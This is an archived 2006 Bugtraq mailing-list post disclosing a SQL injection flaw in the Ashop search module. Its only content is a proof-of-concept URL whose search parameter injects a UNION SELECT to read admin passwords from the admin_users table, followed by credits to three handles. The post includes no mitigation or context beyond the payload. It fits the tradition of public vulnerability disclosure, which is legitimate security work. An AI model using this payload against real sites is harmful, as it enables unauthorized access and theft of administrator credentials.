[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Ashop Search Module SQL injection
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Ashop Search Module SQL injection
- From: entrika_fs@xxxxxxxxx
- Date: 13 Jun 2006 16:48:55 -0000
http://[SITE]/default.asp?mod=search&type=simple&q=%27+union+select+1%2Cadmin_password%2C3%2C4+from+admin_users+%27+&cmdSearch=Search
credits: EntriKa & The_BeKiR & erne